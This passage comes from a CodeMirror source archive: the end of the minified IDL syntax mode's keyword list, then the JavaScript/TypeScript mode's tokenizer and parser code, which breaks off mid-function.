lete","identity","idl_base64","idl_container","idl_validname","idlexbr_assistant","idlitsys_createtool","idlunit","iellipse","igamma","igetcurrent","igetdata","igetid","igetproperty","iimage","image","image_cont","image_statistics","image_threshold","imaginary","imap","indgen","int_2d","int_3d","int_tabulated","intarr","interpol","interpolate","interval_volume","invert","ioctl","iopen","ir_filter","iplot","ipolygon","ipolyline","iputdata","iregister","ireset","iresolve","irotate","isa","isave","iscale","isetcurrent","isetproperty","ishft","isocontour","isosurface","isurface","itext","itranslate","ivector","ivolume","izoom","journal","json_parse","json_serialize","jul2greg","julday","keyword_set","krig2d","kurtosis","kw_test","l64indgen","la_choldc","la_cholmprove","la_cholsol","la_determ","la_eigenproblem","la_eigenql","la_eigenvec","la_elmhes","la_gm_linear_model","la_hqr","la_invert","la_least_square_equality","la_least_squares","la_linear_equation","la_ludc","la_lumprove","la_lusol","la_svd","la_tridc","la_trimprove","la_triql","la_trired","la_trisol","label_date","label_region","ladfit","laguerre","lambda","lambdap","lambertw","laplacian","least_squares_filter","leefilt","legend","legendre","linbcg","lindgen","linfit","linkimage","list","ll_arc_distance","lmfit","lmgr","lngamma","lnp_test","loadct","locale_get","logical_and","logical_or","logical_true","lon64arr","lonarr","long","long64","lsode","lu_complex","ludc","lumprove","lusol","m_correlate","machar","make_array","make_dll","make_rt","map","mapcontinents","mapgrid","map_2points","map_continents","map_grid","map_image","map_patch","map_proj_forward","map_proj_image","map_proj_info","map_proj_init","map_proj_inverse","map_set","matrix_multiply","matrix_power","max","md_test","mean","meanabsdev","mean_filter","median","memory","mesh_clip","mesh_decimate","mesh_issolid","mesh_merge","mesh_numtriangles","mesh_obj","mesh_smooth","mesh_surfacearea","mesh_validate","mesh_volume","message","min","min_curve_surf","mk_html_help","modifyct","moment","morph_close","morph_distance","morph_gradient","morph_hitormiss","morph_open","morph_thin","morph_tophat","multi","n_elements","n_params","n_tags","ncdf","newton","noise_hurl","noise_pick","noise_scatter","noise_slur","norm","obj_class","obj_destroy","obj_hasmethod","obj_isa","obj_new","obj_valid","objarr","on_error","on_ioerror","online_help","openr","openu","openw","oplot","oploterr","orderedhash","p_correlate","parse_url","particle_trace","path_cache","path_sep","pcomp","plot","plot3d","plot","plot_3dbox","plot_field","ploterr","plots","polar_contour","polar_surface","polyfill","polyshade","pnt_line","point_lun","polarplot","poly","poly_2d","poly_area","poly_fit","polyfillv","polygon","polyline","polywarp","popd","powell","pref_commit","pref_get","pref_set","prewitt","primes","print","printf","printd","pro","product","profile","profiler","profiles","project_vol","ps_show_fonts","psafm","pseudo","ptr_free","ptr_new","ptr_valid","ptrarr","pushd","qgrid3","qhull","qromb","qromo","qsimp","query_*","query_ascii","query_bmp","query_csv","query_dicom","query_gif","query_image","query_jpeg","query_jpeg2000","query_mrsid","query_pict","query_png","query_ppm","query_srf","query_tiff","query_video","query_wav","r_correlate","r_test","radon","randomn","randomu","ranks","rdpix","read","readf","read_ascii","read_binary","read_bmp","read_csv","read_dicom","read_gif","read_image","read_interfile","read_jpeg","read_jpeg2000","read_mrsid","read_pict","read_png","read_ppm","read_spr","read_srf","read_sylk","read_tiff","read_video","read_wav","read_wave","read_x11_bitmap","read_xwd","reads","readu","real_part","rebin","recall_commands","recon3","reduce_colors","reform","region_grow","register_cursor","regress","replicate","replicate_inplace","resolve_all","resolve_routine","restore","retall","return","reverse","rk4","roberts","rot","rotate","round","routine_filepath","routine_info","rs_test","s_test","save","savgol","scale3","scale3d","scatterplot","scatterplot3d","scope_level","scope_traceback","scope_varfetch","scope_varname","search2d","search3d","sem_create","sem_delete","sem_lock","sem_release","set_plot","set_shading","setenv","sfit","shade_surf","shade_surf_irr","shade_volume","shift","shift_diff","shmdebug","shmmap","shmunmap","shmvar","show3","showfont","signum","simplex","sin","sindgen","sinh","size","skewness","skip_lun","slicer3","slide_image","smooth","sobel","socket","sort","spawn","sph_4pnt","sph_scat","spher_harm","spl_init","spl_interp","spline","spline_p","sprsab","sprsax","sprsin","sprstp","sqrt","standardize","stddev","stop","strarr","strcmp","strcompress","streamline","streamline","stregex","stretch","string","strjoin","strlen","strlowcase","strmatch","strmessage","strmid","strpos","strput","strsplit","strtrim","struct_assign","struct_hide","strupcase","surface","surface","surfr","svdc","svdfit","svsol","swap_endian","swap_endian_inplace","symbol","systime","t_cvf","t_pdf","t3d","tag_names","tan","tanh","tek_color","temporary","terminal_size","tetra_clip","tetra_surface","tetra_volume","text","thin","thread","threed","tic","time_test2","timegen","timer","timestamp","timestamptovalues","tm_test","toc","total","trace","transpose","tri_surf","triangulate","trigrid","triql","trired","trisol","truncate_lun","ts_coef","ts_diff","ts_fcast","ts_smooth","tv","tvcrs","tvlct","tvrd","tvscl","typename","uindgen","uint","uintarr","ul64indgen","ulindgen","ulon64arr","ulonarr","ulong","ulong64","uniq","unsharp_mask","usersym","value_locate","variance","vector","vector_field","vel","velovect","vert_t3d","voigt","volume","voronoi","voxel_proj","wait","warp_tri","watershed","wdelete","wf_draw","where","widget_base","widget_button","widget_combobox","widget_control","widget_displaycontextmenu","widget_draw","widget_droplist","widget_event","widget_info","widget_label","widget_list","widget_propertysheet","widget_slider","widget_tab","widget_table","widget_text","widget_tree","widget_tree_move","widget_window","wiener_filter","window","window","write_bmp","write_csv","write_gif","write_image","write_jpeg","write_jpeg2000","write_nrif","write_pict","write_png","write_ppm","write_spr","write_srf","write_sylk","write_tiff","write_video","write_wav","write_wave","writeu","wset","wshow","wtn","wv_applet","wv_cwt","wv_cw_wavelet","wv_denoise","wv_dwt","wv_fn_coiflet","wv_fn_daubechies","wv_fn_gaussian","wv_fn_haar","wv_fn_morlet","wv_fn_paul","wv_fn_symlet","wv_import_data","wv_import_wavelet","wv_plot3d_wps","wv_plot_multires","wv_pwt","wv_tool_denoise","xbm_edit","xdisplayfile","xdxf","xfont","xinteranimate","xloadct","xmanager","xmng_tmpl","xmtool","xobjview","xobjview_rotate","xobjview_write_image","xpalette","xpcolor","xplot3d","xregistered","xroi","xsq_test","xsurface","xvaredit","xvolume","xvolume_rotate","xvolume_write_image","xyouts","zlib_compress","zlib_uncompress","zoom","zoom_24"],e=b(d),f=["begin","end","endcase","endfor","endwhile","endif","endrep","endforeach","break","case","continue","for","foreach","goto","if","then","else","repeat","until","switch","while","do","pro","function"],g=b(f);a.registerHelper("hintWords","idl",d.concat(f));var
h=new
RegExp("^[_a-z¡-￿][_a-z0-9¡-￿]*","i"),i=/[+\-*&=<>\/@#~$]/,j=new
RegExp("(and|or|eq|lt|le|gt|ge|ne|not)","i");a.defineMode("idl",(function(){return{token:function(a){return
c(a)}}})),a.defineMIME("text/x-idl","idl")}));PKH��[%:�����(codemirror/mode/javascript/javascript.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("javascript", function(config,
parserConfig) {
  var indentUnit = config.indentUnit;
  var statementIndent = parserConfig.statementIndent;
  var jsonldMode = parserConfig.jsonld;
  var jsonMode = parserConfig.json || jsonldMode;
  var isTS = parserConfig.typescript;
  var wordRE = parserConfig.wordCharacters || /[\w$\xa1-\uffff]/;

  // Tokenizer

  var keywords = function(){
    function kw(type) {return {type: type, style: "keyword"};}
    var A = kw("keyword a"), B = kw("keyword b"), C =
kw("keyword c"), D = kw("keyword d");
    var operator = kw("operator"), atom = {type:
"atom", style: "atom"};

    return {
      "if": kw("if"), "while": A,
"with": A, "else": B, "do": B,
"try": B, "finally": B,
      "return": D, "break": D, "continue": D,
"new": kw("new"), "delete": C,
"void": C, "throw": C,
      "debugger": kw("debugger"), "var":
kw("var"), "const": kw("var"),
"let": kw("var"),
      "function": kw("function"), "catch":
kw("catch"),
      "for": kw("for"), "switch":
kw("switch"), "case": kw("case"),
"default": kw("default"),
      "in": operator, "typeof": operator,
"instanceof": operator,
      "true": atom, "false": atom, "null":
atom, "undefined": atom, "NaN": atom,
"Infinity": atom,
      "this": kw("this"), "class":
kw("class"), "super": kw("atom"),
      "yield": C, "export": kw("export"),
"import": kw("import"), "extends": C,
      "await": C
    };
  }();

  var isOperatorChar = /[+\-*&%=<>!?|~^@]/;
  var isJsonldKeyword =
/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;

  function readRegexp(stream) {
    var escaped = false, next, inSet = false;
    while ((next = stream.next()) != null) {
      if (!escaped) {
        if (next == "/" && !inSet) return;
        if (next == "[") inSet = true;
        else if (inSet && next == "]") inSet = false;
      }
      escaped = !escaped && next == "\\";
    }
  }

  // Used as scratch variables to communicate multiple values without
  // consing up tons of objects.
  var type, content;
  function ret(tp, style, cont) {
    type = tp; content = cont;
    return style;
  }
  function tokenBase(stream, state) {
    var ch = stream.next();
    if (ch == '"' || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    } else if (ch == "." &&
stream.match(/^\d[\d_]*(?:[eE][+\-]?[\d_]+)?/)) {
      return ret("number", "number");
    } else if (ch == "." && stream.match(".."))
{
      return ret("spread", "meta");
    } else if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
      return ret(ch);
    } else if (ch == "=" && stream.eat(">"))
{
      return ret("=>", "operator");
    } else if (ch == "0" &&
stream.match(/^(?:x[\dA-Fa-f_]+|o[0-7_]+|b[01_]+)n?/)) {
      return ret("number", "number");
    } else if (/\d/.test(ch)) {
      stream.match(/^[\d_]*(?:n|(?:\.[\d_]*)?(?:[eE][+\-]?[\d_]+)?)?/);
      return ret("number", "number");
    } else if (ch == "/") {
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      } else if (stream.eat("/")) {
        stream.skipToEnd();
        return ret("comment", "comment");
      } else if (expressionAllowed(stream, state, 1)) {
        readRegexp(stream);
        stream.match(/^\b(([gimyus])(?![gimyus]*\2))+\b/);
        return ret("regexp", "string-2");
      } else {
        stream.eat("=");
        return ret("operator", "operator",
stream.current());
      }
    } else if (ch == "`") {
      state.tokenize = tokenQuasi;
      return tokenQuasi(stream, state);
    } else if (ch == "#" && stream.peek() ==
"!") {
      stream.skipToEnd();
      return ret("meta", "meta");
    } else if (ch == "#" && stream.eatWhile(wordRE)) {
      return ret("variable", "property")
    } else if (ch == "<" &&
stream.match("!--") ||
               (ch == "-" &&
stream.match("->") &&
!/\S/.test(stream.string.slice(0, stream.start)))) {
      stream.skipToEnd()
      return ret("comment", "comment")
    } else if (isOperatorChar.test(ch)) {
      if (ch != ">" || !state.lexical || state.lexical.type !=
">") {
        if (stream.eat("=")) {
          if (ch == "!" || ch == "=")
stream.eat("=")
        } else if (/[<>*+\-]/.test(ch)) {
          stream.eat(ch)
          if (ch == ">") stream.eat(ch)
        }
      }
      if (ch == "?" && stream.eat(".")) return
ret(".")
      return ret("operator", "operator",
stream.current());
    } else if (wordRE.test(ch)) {
      stream.eatWhile(wordRE);
      var word = stream.current()
      if (state.lastType != ".") {
        if (keywords.propertyIsEnumerable(word)) {
          var kw = keywords[word]
          return ret(kw.type, kw.style, word)
        }
        if (word == "async" &&
stream.match(/^(\s|\/\*.*?\*\/)*[\[\(\w]/, false))
          return ret("async", "keyword", word)
      }
      return ret("variable", "variable", word)
    }
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next;
      if (jsonldMode && stream.peek() == "@" &&
stream.match(isJsonldKeyword)){
        state.tokenize = tokenBase;
        return ret("jsonld-keyword", "meta");
      }
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) break;
        escaped = !escaped && next == "\\";
      }
      if (!escaped) state.tokenize = tokenBase;
      return ret("string", "string");
    };
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return ret("comment", "comment");
  }

  function tokenQuasi(stream, state) {
    var escaped = false, next;
    while ((next = stream.next()) != null) {
      if (!escaped && (next == "`" || next ==
"$" && stream.eat("{"))) {
        state.tokenize = tokenBase;
        break;
      }
      escaped = !escaped && next == "\\";
    }
    return ret("quasi", "string-2", stream.current());
  }

  var brackets = "([{}])";
  // This is a crude lookahead trick to try and notice that we're
  // parsing the argument patterns for a fat-arrow function before we
  // actually hit the arrow token. It only works if the arrow is on
  // the same line as the arguments and there's no strange noise
  // (comments) in between. Fallback is to only notice when we hit the
  // arrow, and not declare the arguments as locals for the arrow
  // body.
  function findFatArrow(stream, state) {
    if (state.fatArrowAt) state.fatArrowAt = null;
    var arrow = stream.string.indexOf("=>", stream.start);
    if (arrow < 0) return;

    if (isTS) { // Try to skip TypeScript return type declarations after
the arguments
      var m =
/:\s*(?:\w+(?:<[^>]*>|\[\])?|\{[^}]*\})\s*$/.exec(stream.string.slice(stream.start,
arrow))
      if (m) arrow = m.index
    }

    var depth = 0, sawSomething = false;
    for (var pos = arrow - 1; pos >= 0; --pos) {
      var ch = stream.string.charAt(pos);
      var bracket = brackets.indexOf(ch);
      if (bracket >= 0 && bracket < 3) {
        if (!depth) { ++pos; break; }
        if (--depth == 0) { if (ch == "(") sawSomething = true;
break; }
      } else if (bracket >= 3 && bracket < 6) {
        ++depth;
      } else if (wordRE.test(ch)) {
        sawSomething = true;
      } else if (/["'\/`]/.test(ch)) {
        for (;; --pos) {
          if (pos == 0) return
          var next = stream.string.charAt(pos - 1)
          if (next == ch && stream.string.charAt(pos - 2) !=
"\\") { pos--; break }
        }
      } else if (sawSomething && !depth) {
        ++pos;
        break;
      }
    }
    if (sawSomething && !depth) state.fatArrowAt = pos;
  }

  // Parser

  var atomicTypes = {"atom": true, "number": true,
"variable": true, "string": true, "regexp":
true, "this": true, "jsonld-keyword": true};

  function JSLexical(indented, column, type, align, prev, info) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.prev = prev;
    this.info = info;
    if (align != null) this.align = align;
  }

  function inScope(state, varname) {
    for (var v = state.localVars; v; v = v.next)
      if (v.name == varname) return true;
    for (var cx = state.context; cx; cx = cx.prev) {
      for (var v = cx.vars; v; v = v.next)
        if (v.name == varname) return true;
    }
  }

  function parseJS(state, style, type, content, stream) {
    var cc = state.cc;
    // Communicate our context to the combinators.
    // (Less wasteful than consing up a hundred closures on every call.)
    cx.state = state; cx.stream = stream; cx.marked = null, cx.cc = cc;
cx.style = style;

    if (!state.lexical.hasOwnProperty("align"))
      state.lexical.align = true;

    while(true) {
      var combinator = cc.length ? cc.pop() : jsonMode ? expression :
statement;
      if (combinator(type, content)) {
        while(cc.length && cc[cc.length - 1].lex)
          cc.pop()();
        if (cx.marked) return cx.marked;
        if (type == "variable" && inScope(state,
content)) return "variable-2";
        return style;
      }
    }
  }

  // Combinator utils

  var cx = {state: null, column: null, marked: null, cc: null};
  function pass() {
    for (var i = arguments.length - 1; i >= 0; i--)
cx.cc.push(arguments[i]);
  }
  function cont() {
    pass.apply(null, arguments);
    return true;
  }
  function inList(name, list) {
    for (var v = list; v; v = v.next) if (v.name == name) return true
    return false;
  }
  function register(varname) {
    var state = cx.state;
    cx.marked = "def";
    if (state.context) {
      if (state.lexical.info == "var" && state.context
&& state.context.block) {
        // FIXME function decls are also not block scoped
        var newContext = registerVarScoped(varname, state.context)
        if (newContext != null) {
          state.context = newContext
          return
        }
      } else if (!inList(varname, state.localVars)) {
        state.localVars = new Var(varname, state.localVars)
        return
      }
    }
    // Fall through means this is global
    if (parserConfig.globalVars && !inList(varname,
state.globalVars))
      state.globalVars = new Var(varname, state.globalVars)
  }
  function registerVarScoped(varname, context) {
    if (!context) {
      return null
    } else if (context.block) {
      var inner = registerVarScoped(varname, context.prev)
      if (!inner) return null
      if (inner == context.prev) return context
      return new Context(inner, context.vars, true)
    } else if (inList(varname, context.vars)) {
      return context
    } else {
      return new Context(context.prev, new Var(varname, context.vars),
false)
    }
  }

  function isModifier(name) {
    return name == "public" || name == "private" ||
name == "protected" || name == "abstract" || name ==
"readonly"
  }

  // Combinators

  function Context(prev, vars, block) { this.prev = prev; this.vars = vars;
this.block = block }
  function Var(name, next) { this.name = name; this.next = next }

  var defaultVars = new Var("this", new
Var("arguments", null))
  function pushcontext() {
    cx.state.context = new Context(cx.state.context, cx.state.localVars,
false)
    cx.state.localVars = defaultVars
  }
  function pushblockcontext() {
    cx.state.context = new Context(cx.state.context, cx.state.localVars,
true)
    cx.state.localVars = null
  }
  function popcontext() {
    cx.state.localVars = cx.state.context.vars
    cx.state.context = cx.state.context.prev
  }
  popcontext.lex = true
  function pushlex(type, info) {
    var result = function() {
      var state = cx.state, indent = state.indented;
      if (state.lexical.type == "stat") indent =
state.lexical.indented;
      else for (var outer = state.lexical; outer && outer.type ==
")" && outer.align; outer = outer.prev)
        indent = outer.indented;
      state.lexical = new JSLexical(indent, cx.stream.column(), type, null,
state.lexical, info);
    };
    result.lex = true;
    return result;
  }
  function poplex() {
    var state = cx.state;
    if (state.lexical.prev) {
      if (state.lexical.type == ")")
        state.indented = state.lexical.indented;
      state.lexical = state.lexical.prev;
    }
  }
  poplex.lex = true;

  function expect(wanted) {
    function exp(type) {
      if (type == wanted) return cont();
      else if (wanted == ";" || type == "}" || type ==
")" || type == "]") return pass();
      else return cont(exp);
    };
    return exp;
  }

  function statement(type, value) {
    if (type == "var") return cont(pushlex("vardef",
value), vardef, expect(";"), poplex);
    if (type == "keyword a") return
cont(pushlex("form"), parenExpr, statement, poplex);
    if (type == "keyword b") return
cont(pushlex("form"), statement, poplex);
    if (type == "keyword d") return cx.stream.match(/^\s*$/,
false) ? cont() : cont(pushlex("stat"), maybeexpression,
expect(";"), poplex);
    if (type == "debugger") return cont(expect(";"));
    if (type == "{") return cont(pushlex("}"),
pushblockcontext, block, poplex, popcontext);
    if (type == ";") return cont();
    if (type == "if") {
      if (cx.state.lexical.info == "else" &&
cx.state.cc[cx.state.cc.length - 1] == poplex)
        cx.state.cc.pop()();
      return cont(pushlex("form"), parenExpr, statement, poplex,
maybeelse);
    }
    if (type == "function") return cont(functiondef);
    if (type == "for") return cont(pushlex("form"),
forspec, statement, poplex);
    if (type == "class" || (isTS && value ==
"interface")) {
      cx.marked = "keyword"
      return cont(pushlex("form", type == "class" ?
type : value), className, poplex)
    }
    if (type == "variable") {
      if (isTS && value == "declare") {
        cx.marked = "keyword"
        return cont(statement)
      } else if (isTS && (value == "module" || value ==
"enum" || value == "type") &&
cx.stream.match(/^\s*\w/, false)) {
        cx.marked = "keyword"
        if (value == "enum") return cont(enumdef);
        else if (value == "type") return cont(typename,
expect("operator"), typeexpr, expect(";"));
        else return cont(pushlex("form"), pattern,
expect("{"), pushlex("}"), block, poplex, poplex)
      } else if (isTS && value == "namespace") {
        cx.marked = "keyword"
        return cont(pushlex("form"), expression, statement,
poplex)
      } else if (isTS && value == "abstract") {
        cx.marked = "keyword"
        return cont(statement)
      } else {
        return cont(pushlex("stat"), maybelabel);
      }
    }
    if (type == "switch") return cont(pushlex("form"),
parenExpr, expect("{"), pushlex("}",
"switch"), pushblockcontext,
                                      block, poplex, poplex, popcontext);
    if (type == "case") return cont(expression,
expect(":"));
    if (type == "default") return cont(expect(":"));
    if (type == "catch") return cont(pushlex("form"),
pushcontext, maybeCatchBinding, statement, poplex, popcontext);
    if (type == "export") return cont(pushlex("stat"),
afterExport, poplex);
    if (type == "import") return cont(pushlex("stat"),
afterImport, poplex);
    if (type == "async") return cont(statement)
    if (value == "@") return cont(expression, statement)
    return pass(pushlex("stat"), expression,
expect(";"), poplex);
  }
  function maybeCatchBinding(type) {
    if (type == "(") return cont(funarg, expect(")"))
  }
  function expression(type, value) {
    return expressionInner(type, value, false);
  }
  function expressionNoComma(type, value) {
    return expressionInner(type, value, true);
  }
  function parenExpr(type) {
    if (type != "(") return pass()
    return cont(pushlex(")"), maybeexpression,
expect(")"), poplex)
  }
  function expressionInner(type, value, noComma) {
    if (cx.state.fatArrowAt == cx.stream.start) {
      var body = noComma ? arrowBodyNoComma : arrowBody;
      if (type == "(") return cont(pushcontext,
pushlex(")"), commasep(funarg, ")"), poplex,
expect("=>"), body, popcontext);
      else if (type == "variable") return pass(pushcontext,
pattern, expect("=>"), body, popcontext);
    }

    var maybeop = noComma ? maybeoperatorNoComma : maybeoperatorComma;
    if (atomicTypes.hasOwnProperty(type)) return cont(maybeop);
    if (type == "function") return cont(functiondef, maybeop);
    if (type == "class" || (isTS && value ==
"interface")) { cx.marked = "keyword"; return
cont(pushlex("form"), classExpression, poplex); }
    if (type == "keyword c" || type == "async") return
cont(noComma ? expressionNoComma : expression);
    if (type == "(") return cont(pushlex(")"),
maybeexpression, expect(")"), poplex, maybeop);
    if (type == "operator" || type == "spread") return
cont(noComma ? expressionNoComma : expression);
    if (type == "[") return cont(pushlex("]"),
arrayLiteral, poplex, maybeop);
    if (type == "{") return contCommasep(objprop, "}",
null, maybeop);
    if (type == "quasi") return pass(quasi, maybeop);
    if (type == "new") return cont(maybeTarget(noComma));
    if (type == "import") return cont(expression);
    return cont();
  }
  function maybeexpression(type) {
    if (type.match(/[;\}\)\],]/)) return pass();
    return pass(expression);
  }

  function maybeoperatorComma(type, value) {
    if (type == ",") return cont(maybeexpression);
    return maybeoperatorNoComma(type, value, false);
  }
  function maybeoperatorNoComma(type, value, noComma) {
    var me = noComma == false ? maybeoperatorComma : maybeoperatorNoComma;
    var expr = noComma == false ? expression : expressionNoComma;
    if (type == "=>") return cont(pushcontext, noComma ?
arrowBodyNoComma : arrowBody, popcontext);
    if (type == "operator") {
      if (/\+\+|--/.test(value) || isTS && value == "!")
return cont(me);
      if (isTS && value == "<" &&
cx.stream.match(/^([^<>]|<[^<>]*>)*>\s*\(/, false))
        return cont(pushlex(">"), commasep(typeexpr,
">"), poplex, me);
      if (value == "?") return cont(expression,
expect(":"), expr);
      return cont(expr);
    }
    if (type == "quasi") { return pass(quasi, me); }
    if (type == ";") return;
    if (type == "(") return contCommasep(expressionNoComma,
")", "call", me);
    if (type == ".") return cont(property, me);
    if (type == "[") return cont(pushlex("]"),
maybeexpression, expect("]"), poplex, me);
    if (isTS && value == "as") { cx.marked =
"keyword"; return cont(typeexpr, me) }
    if (type == "regexp") {
      cx.state.lastType = cx.marked = "operator"
      cx.stream.backUp(cx.stream.pos - cx.stream.start - 1)
      return cont(expr)
    }
  }
  function quasi(type, value) {
    if (type != "quasi") return pass();
    if (value.slice(value.length - 2) != "${") return
cont(quasi);
    return cont(expression, continueQuasi);
  }
  function continueQuasi(type) {
    if (type == "}") {
      cx.marked = "string-2";
      cx.state.tokenize = tokenQuasi;
      return cont(quasi);
    }
  }
  function arrowBody(type) {
    findFatArrow(cx.stream, cx.state);
    return pass(type == "{" ? statement : expression);
  }
  function arrowBodyNoComma(type) {
    findFatArrow(cx.stream, cx.state);
    return pass(type == "{" ? statement : expressionNoComma);
  }
  function maybeTarget(noComma) {
    return function(type) {
      if (type == ".") return cont(noComma ? targetNoComma :
target);
      else if (type == "variable" && isTS) return
cont(maybeTypeArgs, noComma ? maybeoperatorNoComma : maybeoperatorComma)
      else return pass(noComma ? expressionNoComma : expression);
    };
  }
  function target(_, value) {
    if (value == "target") { cx.marked = "keyword";
return cont(maybeoperatorComma); }
  }
  function targetNoComma(_, value) {
    if (value == "target") { cx.marked = "keyword";
return cont(maybeoperatorNoComma); }
  }
  function maybelabel(type) {
    if (type == ":") return cont(poplex, statement);
    return pass(maybeoperatorComma, expect(";"), poplex);
  }
  function property(type) {
    if (type == "variable") {cx.marked = "property";
return cont();}
  }
  function objprop(type, value) {
    if (type == "async") {
      cx.marked = "property";
      return cont(objprop);
    } else if (type == "variable" || cx.style ==
"keyword") {
      cx.marked = "property";
      if (value == "get" || value == "set") return
cont(getterSetter);
      var m // Work around fat-arrow-detection complication for detecting
typescript typed arrow params
      if (isTS && cx.state.fatArrowAt == cx.stream.start &&
(m = cx.stream.match(/^\s*:\s*/, false)))
        cx.state.fatArrowAt = cx.stream.pos + m[0].length
      return cont(afterprop);
    } else if (type == "number" || type == "string") {
      cx.marked = jsonldMode ? "property" : (cx.style + "
property");
      return cont(afterprop);
    } else if (type == "jsonld-keyword") {
      return cont(afterprop);
    } else if (isTS && isModifier(value)) {
      cx.marked = "keyword"
      return cont(objprop)
    } else if (type == "[") {
      return cont(expression, maybetype, expect("]"), afterprop);
    } else if (type == "spread") {
      return cont(expressionNoComma, afterprop);
    } else if (value == "*") {
      cx.marked = "keyword";
      return cont(objprop);
    } else if (type == ":") {
      return pass(afterprop)
    }
  }
  function getterSetter(type) {
    if (type != "variable") return pass(afterprop);
    cx.marked = "property";
    return cont(functiondef);
  }
  function afterprop(type) {
    if (type == ":") return cont(expressionNoComma);
    if (type == "(") return pass(functiondef);
  }
  function commasep(what, end, sep) {
    function proceed(type, value) {
      if (sep ? sep.indexOf(type) > -1 : type == ",") {
        var lex = cx.state.lexical;
        if (lex.info == "call") lex.pos = (lex.pos || 0) + 1;
        return cont(function(type, value) {
          if (type == end || value == end) return pass()
          return pass(what)
        }, proceed);
      }
      if (type == end || value == end) return cont();
      if (sep && sep.indexOf(";") > -1) return
pass(what)
      return cont(expect(end));
    }
    return function(type, value) {
      if (type == end || value == end) return cont();
      return pass(what, proceed);
    };
  }
  function contCommasep(what, end, info) {
    for (var i = 3; i < arguments.length; i++)
      cx.cc.push(arguments[i]);
    return cont(pushlex(end, info), commasep(what, end), poplex);
  }
  function block(type) {
    if (type == "}") return cont();
    return pass(statement, block);
  }
  function maybetype(type, value) {
    if (isTS) {
      if (type == ":") return cont(typeexpr);
      if (value == "?") return cont(maybetype);
    }
  }
  function maybetypeOrIn(type, value) {
    if (isTS && (type == ":" || value == "in"))
return cont(typeexpr)
  }
  function mayberettype(type) {
    if (isTS && type == ":") {
      if (cx.stream.match(/^\s*\w+\s+is\b/, false)) return cont(expression,
isKW, typeexpr)
      else return cont(typeexpr)
    }
  }
  function isKW(_, value) {
    if (value == "is") {
      cx.marked = "keyword"
      return cont()
    }
  }
  function typeexpr(type, value) {
    if (value == "keyof" || value == "typeof" || value
== "infer") {
      cx.marked = "keyword"
      return cont(value == "typeof" ? expressionNoComma :
typeexpr)
    }
    if (type == "variable" || value == "void") {
      cx.marked = "type"
      return cont(afterType)
    }
    if (value == "|" || value == "&") return
cont(typeexpr)
    if (type == "string" || type == "number" || type ==
"atom") return cont(afterType);
    if (type == "[") return cont(pushlex("]"),
commasep(typeexpr, "]", ","), poplex, afterType)
    if (type == "{") return cont(pushlex("}"),
commasep(typeprop, "}", ",;"), poplex, afterType)
    if (type == "(") return cont(commasep(typearg,
")"), maybeReturnType, afterType)
    if (type == "<") return cont(commasep(typeexpr,
">"), typeexpr)
  }
  function maybeReturnType(type) {
    if (type == "=>") return cont(typeexpr)
  }
  function typeprop(type, value) {
    if (type == "variable" || cx.style == "keyword") {
      cx.marked = "property"
      return cont(typeprop)
    } else if (value == "?" || type == "number" || type
== "string") {
      return cont(typeprop)
    } else if (type == ":") {
      return cont(typeexpr)
    } else if (type == "[") {
      return cont(expect("variable"), maybetypeOrIn,
expect("]"), typeprop)
    } else if (type == "(") {
      return pass(functiondecl, typeprop)
    }
  }
  function typearg(type, value) {
    if (type == "variable" && cx.stream.match(/^\s*[?:]/,
false) || value == "?") return cont(typearg)
    if (type == ":") return cont(typeexpr)
    if (type == "spread") return cont(typearg)
    return pass(typeexpr)
  }
  function afterType(type, value) {
    if (value == "<") return cont(pushlex(">"),
commasep(typeexpr, ">"), poplex, afterType)
    if (value == "|" || type == "." || value ==
"&") return cont(typeexpr)
    if (type == "[") return cont(typeexpr, expect("]"),
afterType)
    if (value == "extends" || value == "implements") {
cx.marked = "keyword"; return cont(typeexpr) }
    if (value == "?") return cont(typeexpr,
expect(":"), typeexpr)
  }
  function maybeTypeArgs(_, value) {
    if (value == "<") return cont(pushlex(">"),
commasep(typeexpr, ">"), poplex, afterType)
  }
  function typeparam() {
    return pass(typeexpr, maybeTypeDefault)
  }
  function maybeTypeDefault(_, value) {
    if (value == "=") return cont(typeexpr)
  }
  function vardef(_, value) {
    if (value == "enum") {cx.marked = "keyword"; return
cont(enumdef)}
    return pass(pattern, maybetype, maybeAssign, vardefCont);
  }
  function pattern(type, value) {
    if (isTS && isModifier(value)) { cx.marked =
"keyword"; return cont(pattern) }
    if (type == "variable") { register(value); return cont(); }
    if (type == "spread") return cont(pattern);
    if (type == "[") return contCommasep(eltpattern,
"]");
    if (type == "{") return contCommasep(proppattern,
"}");
  }
  function proppattern(type, value) {
    if (type == "variable" && !cx.stream.match(/^\s*:/,
false)) {
      register(value);
      return cont(maybeAssign);
    }
    if (type == "variable") cx.marked = "property";
    if (type == "spread") return cont(pattern);
    if (type == "}") return pass();
    if (type == "[") return cont(expression,
expect(']'), expect(':'), proppattern);
    return cont(expect(":"), pattern, maybeAssign);
  }
  function eltpattern() {
    return pass(pattern, maybeAssign)
  }
  function maybeAssign(_type, value) {
    if (value == "=") return cont(expressionNoComma);
  }
  function vardefCont(type) {
    if (type == ",") return cont(vardef);
  }
  function maybeelse(type, value) {
    if (type == "keyword b" && value == "else")
return cont(pushlex("form", "else"), statement,
poplex);
  }
  function forspec(type, value) {
    if (value == "await") return cont(forspec);
    if (type == "(") return cont(pushlex(")"),
forspec1, poplex);
  }
  function forspec1(type) {
    if (type == "var") return cont(vardef, forspec2);
    if (type == "variable") return cont(forspec2);
    return pass(forspec2)
  }
  function forspec2(type, value) {
    if (type == ")") return cont()
    if (type == ";") return cont(forspec2)
    if (value == "in" || value == "of") { cx.marked =
